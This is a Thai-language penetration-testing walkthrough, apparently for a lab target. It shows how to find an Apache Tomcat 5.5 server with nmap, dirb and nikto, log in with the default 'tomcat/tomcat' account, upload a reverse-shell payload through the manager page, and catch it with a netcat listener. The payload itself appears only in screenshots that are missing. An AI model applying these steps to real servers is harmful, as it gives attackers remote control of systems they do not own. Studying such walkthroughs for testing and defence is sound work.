บทนำ (Overview)
บทความนี้กล่าวถึงการได้มาซึ่ง “reverse shell” ผ่านช่องโหว่ของ “Tomcat” ตั้งแต่การหา “default account” การ “upload” ไฟล์เพื่อให้สามารถเชื่อมต่อกับ “listener” ที่เราตั้งทิ้งเอาไว้ จนสามารถควบคุมเครื่องได้จากระยะไกล
ขั้นตอน (Steps)
- ค้นหา “Port” ที่เปิดบริการโดยใช้คำสั่งดังนี้
nmap -p 1-65535 -T4 -A -v 192.168.1.36
- ตรวจสอบ “Port” และ “Version” ของ “TOMCAT” แต่ปกติอาจจะเป็น Port อื่น ๆ เช่น 80, 8080 หรือ 8180
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 |_http-favicon: Apache Tomcat | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat/5.5
- ทดลองเข้าถึงหน้าเว็บไซต์ แล้วตรวจสอบว่าสามารถพบชื่อ “Web application” หรือ Version อะไรเพิ่มหรือไม่
- ทดลองใช้ “Dir-buster” เพื่อตรวจสอบ “Path” อื่น ๆ เพื่มเติม
#เราใช้ option -r โดยไม่ต้องหา sub directory dirb http://192.168.1.36:8180 /usr/share/wordlists/dirb/big.txt -r
- เราสามารถตรวจพบไดเรกทรอรีดังนี้
http://192.168.1.36:8180/WEB-INF/
http://192.168.1.36:8180/admin/
http://192.168.1.36:8180/favicon.ico
http://192.168.1.36:8180/jsp-examples/
http://192.168.1.36:8180/manager/
http://192.168.1.36:8180/servlets-examples/
http://192.168.1.36:8180/tomcat-docs/
http://192.168.1.36:8180/webdav - ทดลองใช้ “Nikto” เพิ่มเติมโดยใช้คำสั่ง
nikto -h https://192.168.1.36:8180
- เราสามารถตรวจพบไดเรกทรอรีเพิ่มเติมดังนี้ดังนี้
/admin/contextAdmin/contextAdmin.html /admin/ /tomcat-docs/index.html /manager/html-manager-howto.html /manager/manager-howto.html /webdav/index.html /jsp-examples/ /admin/account.html /admin/controlpanel.html /admin/cp.html /admin/index.html /admin/login.html /servlets-examples /manager/html /host-manager/html /manager/status /admin/login.jsp
- นอกจากนี้ยังพบ “Default Account” ของ “Tomcat” ด้วยดังนี้
User: tomcat Pass: tomcat
- ที่ลองเข้าหน้าดังกล่าวพร้อมด้วย “username” และ “password” ที่พบ
- เมื่อ “login” สำเร็จจะเข้าหน้าต่างดังภาพ
- ให้สร้าง “payload” สำหรับ “reverse shell” ที่นี้มีข้อสังเกตุว่าเราจะสร้าง “payload” ที่สามารถ “execute” ได้นั้นจะต้องสอดคล้องกับ “OS” และ “web server” จาก จากหน้าเว็บเราสังเกตุเห็นว่า
- แล้วนำไป “upload” ตามภาพ
- จากนั้นลอง “Refresh” หน้า “Browser” แล้วจะมีไฟล์ เข้าไปดังนี้
- สุดท้ายเราตั้ง “listener” แล้วคลิกไฟล์ที่ “upload” เข้าไปจะได้ “reverse shell”
nc -nlvp 443